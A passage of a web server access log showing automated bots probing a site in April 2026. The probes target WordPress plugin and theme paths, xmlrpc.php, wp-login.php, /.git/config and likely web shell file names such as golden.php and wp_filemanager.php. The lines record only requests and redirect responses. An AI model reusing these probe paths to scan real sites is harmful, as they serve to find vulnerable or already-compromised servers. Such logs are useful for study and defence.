HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:30:38 +0300] "GET /wp-content/plugins/xt/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:38 +0300] "GET /wp-content/plugins/content-management/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:38 +0300] "GET /wp-content/themes/Avada/licensing/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 192.253.209.164 - - [20/Apr/2026:01:30:39 +0300] "GET /Requests/Utility/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 192.253.209.164 - - [20/Apr/2026:01:30:39 +0300] "GET /themes/travelscape/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 192.253.209.164 - - [20/Apr/2026:01:30:39 +0300] "GET /themes/twentyseventeen/page/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:30:40 +0300] "GET /rest-api/fields/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:30:40 +0300] "GET /wp-includes/Requests/Utility/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:40 +0300] "GET /wp-content/plugins/tunnelforms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:41 +0300] "GET /wp-content/languages/plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:41 +0300] "GET /wp-includes/js/tinymce/skins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:41 +0300] "GET /wp-includes/js/tinymce/utils/%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:42 +0300] "GET /themes/seotheme/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:30:42 +0300] "GET /wp-includes/js/jquery/ui/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:42 +0300] "GET /js/tinymce/utils/%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:30:43 +0300] "GET /Requests/Exception/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 192.253.209.164 - - [20/Apr/2026:01:30:43 +0300] "GET /wp-includes/js/tinymce/themes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:43 +0300] "GET /wp-json/wp/v2/give_forms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 192.253.209.164 - - [20/Apr/2026:01:30:44 +0300] "GET /wp-content/plugins/ultimate-member/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:44 +0300] "GET /wp-includes/js/tinymce/themes/inlite/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 192.253.209.164 - - [20/Apr/2026:01:30:44 +0300] "GET /wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:44 +0300] "GET /wp-includes/js/plupload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:45 +0300] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:45 +0300] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 192.253.209.164 - - [20/Apr/2026:01:30:45 +0300] "GET /wp-includes/blocks/code/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:30:46 +0300] "GET /wp-includes/blocks/archives/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:30:46 +0300] "GET /wp-includes/css/dist/components/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:47 +0300] "GET /wp-content/plugins/js-support-ticket/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:30:47 +0300] "GET /wp-content/plugins/easy-themes-manager/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:47 +0300] "GET /wp-content/settings/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:48 +0300] "GET /wp-includes/blocks/pullquote/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:30:48 +0300] "GET /wp-content/plugins/shell/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:48 +0300] "GET /wp-admin/images/html-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:49 +0300] "GET /wp-includes/blocks/comments-pagination-numbers/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:49 +0300] "GET /wp-admin/user/interactivity-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:49 +0300] "GET /assets/bootstrap-fileupload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:50 +0300] "GET /wp-content/plugins/yanierin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:50 +0300] "GET /wp-content/themes/hideo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:50 +0300] "GET /wp-content/plugins/profile-builder/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:30:51 +0300] "GET /wp-content/plugins/plugin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:51 +0300] "GET /wp-admin/network/cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:30:51 +0300] "GET /wp-includes/blocks/details/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:52 +0300] "GET /wp-includes/blocks/post-terms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:52 +0300] "GET /wp-includes/theme-compat/network/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:30:52 +0300] "GET /wp-includes/js/dist/development/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:30:53 +0300] "GET /management/assets/assets/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:53 +0300] "GET /wp-includes/sodium_compat/namespaced/Core/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:30:53 +0300] "GET /wordpress/wp-includes/blocks/accordion/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:53 +0300] "GET /assets/worders_front/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:54 +0300] "GET /assets/jquery-ui/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:54 +0300] "GET /wp-content/uploads/2024/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:30:54 +0300] "GET /wp-content/themes/Avada/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:55 +0300] "GET /wp-content/uploads/fusion-forms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:55 +0300] "GET /wp-content/themes/Avada/includes/lib/inc/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:55 +0300] "GET /wp-content/themes/jupiter/framework/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:30:56 +0300] "GET /wp-includes/blocks/site-title/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:30:56 +0300] "GET /wp-content/plugins/jupiterx-core/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:30:56 +0300] "GET /wp-content/themes/Avada/shortcodes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:57 +0300] "GET /wp-json/bricks/v1/render_element/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:57 +0300] "GET /wp-content/themes/bricks/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:57 +0300] "GET /wp-content/themes/service-finder/inc/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:30:58 +0300] "GET /wp-includes/js/tinymce/plugins/compat3x/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:58 +0300] "GET /wp-content/themes/service-finder/admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 192.253.209.164 - - [20/Apr/2026:01:30:58 +0300] "GET /wp-json/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 192.253.209.164 - - [20/Apr/2026:01:30:59 +0300] "GET /wp-json/wp/v2/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:59 +0300] "GET /wp-content/uploads/2025/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:59 +0300] "GET /wp-content/uploads/2026/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:31:00 +0300] "GET /wordpress/wp-admin/includes/wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 192.109.200.101 - - [20/Apr/2026:02:06:26 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15" 185.195.232.178 - - [20/Apr/2026:03:10:43 +0300] "GET /wordpress/xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 185.195.232.178 - - [20/Apr/2026:03:10:43 +0300] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0" 185.195.232.178 - - [20/Apr/2026:03:10:44 +0300] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Mobile/15E148 Safari/604.1" 3.18.186.238 - - [20/Apr/2026:02:49:32 +0300] "GET / HTTP/1.1" 301 795 "-" "visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36" 185.195.232.178 - - [20/Apr/2026:03:10:43 +0300] "GET /wp/xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15" 185.195.232.178 - - [20/Apr/2026:03:10:43 +0300] "GET /blog/xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:121.0) Gecko/20100101 Firefox/121.0" 185.195.232.178 - - [20/Apr/2026:03:10:44 +0300] "GET /blog/xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" 185.195.232.178 - - [20/Apr/2026:03:10:44 +0300] "GET /blog HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Mobile/15E148 Safari/604.1" 185.195.232.178 - - [20/Apr/2026:03:10:43 +0300] "GET /site/xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 185.195.232.178 - - [20/Apr/2026:03:10:43 +0300] "GET /blog/xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 185.195.232.178 - - [20/Apr/2026:03:10:43 +0300] "GET /site/xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" 185.195.232.178 - - [20/Apr/2026:03:10:43 +0300] "GET /wp/xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" 185.195.232.178 - - [20/Apr/2026:03:10:44 +0300] "GET /wordpress/xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:121.0) Gecko/20100101 Firefox/121.0" 185.195.232.178 - - [20/Apr/2026:03:10:44 +0300] "GET /site/xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 185.195.232.178 - - [20/Apr/2026:03:10:44 +0300] "GET /wordpress HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 185.195.232.178 - - [20/Apr/2026:03:10:44 +0300] "GET /site HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 185.195.232.178 - - [20/Apr/2026:03:10:44 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 185.195.232.178 - - [20/Apr/2026:03:10:43 +0300] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 185.195.232.178 - - [20/Apr/2026:03:10:43 +0300] "GET /wordpress/xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/120.0.2210.91" 185.195.232.178 - - [20/Apr/2026:03:10:44 +0300] "GET /wp/xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" 185.195.232.178 - - [20/Apr/2026:03:10:44 +0300] "GET /wp HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 14; SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Mobile Safari/537.36" 68.183.135.59 - - [20/Apr/2026:03:46:12 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 97.74.87.226 - - [20/Apr/2026:04:10:19 +0300] "GET /wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 1.15.52.154 - - [20/Apr/2026:03:56:08 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 89.116.29.85 - - [20/Apr/2026:04:05:03 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 188.116.25.189 - - [20/Apr/2026:04:50:55 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Avast/131.0.0.0" 72.146.9.108 - - [20/Apr/2026:05:26:34 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 72.146.9.108 - - [20/Apr/2026:05:26:39 +0300] "GET /golden.php HTTP/1.1" 301 795 "-" "-" 72.146.9.108 - - [20/Apr/2026:05:26:43 +0300] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 72.146.9.108 - - [20/Apr/2026:05:26:45 +0300] "GET /wp-includes/blocks/details/ HTTP/1.1" 301 795 "-" "-" 72.146.9.108 - - [20/Apr/2026:05:26:45 +0300] "GET /.dj/index.php HTTP/1.1" 301 795 "-" "-" 72.146.9.108 - - [20/Apr/2026:05:26:49 +0300] "GET /wp-includes/blocks/audio/ HTTP/1.1" 301 795 "-" "-" 72.146.9.108 - - [20/Apr/2026:05:26:49 +0300] "GET /.tmb/ HTTP/1.1" 301 795 "-" "-" 85.137.48.167 - - [20/Apr/2026:05:48:35 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 43.153.87.54 - - [20/Apr/2026:04:52:17 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.153.54.14 - - [20/Apr/2026:05:38:31 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 52.91.200.24 - - [20/Apr/2026:07:16:14 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36" 51.68.236.92 - - [20/Apr/2026:07:35:49 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.5; http://mj12bot.com/)" 51.68.236.92 - - [20/Apr/2026:07:35:49 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.5; http://mj12bot.com/)" 161.178.139.119 - - [20/Apr/2026:08:03:54 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0" 116.76.79.40 - - [20/Apr/2026:08:12:12 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3207.159 Safari/537.36 Core/1.70.3722.400 QQBrowser/10.5.3739.400" 172.202.75.66 - - [20/Apr/2026:08:58:36 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 145.220.91.19 - - [20/Apr/2026:09:00:20 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:122.0) Gecko/20100101 Firefox/122.0" 172.202.75.66 - - [20/Apr/2026:09:04:21 +0300] "GET /t.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:04:24 +0300] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:04:27 +0300] "GET /6xBAm3vODE05BSzkJZRAws.php HTTP/1.1" 301 795 "-" "-" 66.132.172.134 - - [20/Apr/2026:09:15:07 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 172.202.75.66 - - [20/Apr/2026:08:59:17 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:08:59:59 +0300] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:00:03 +0300] "GET /php8.php HTTP/1.1" 301 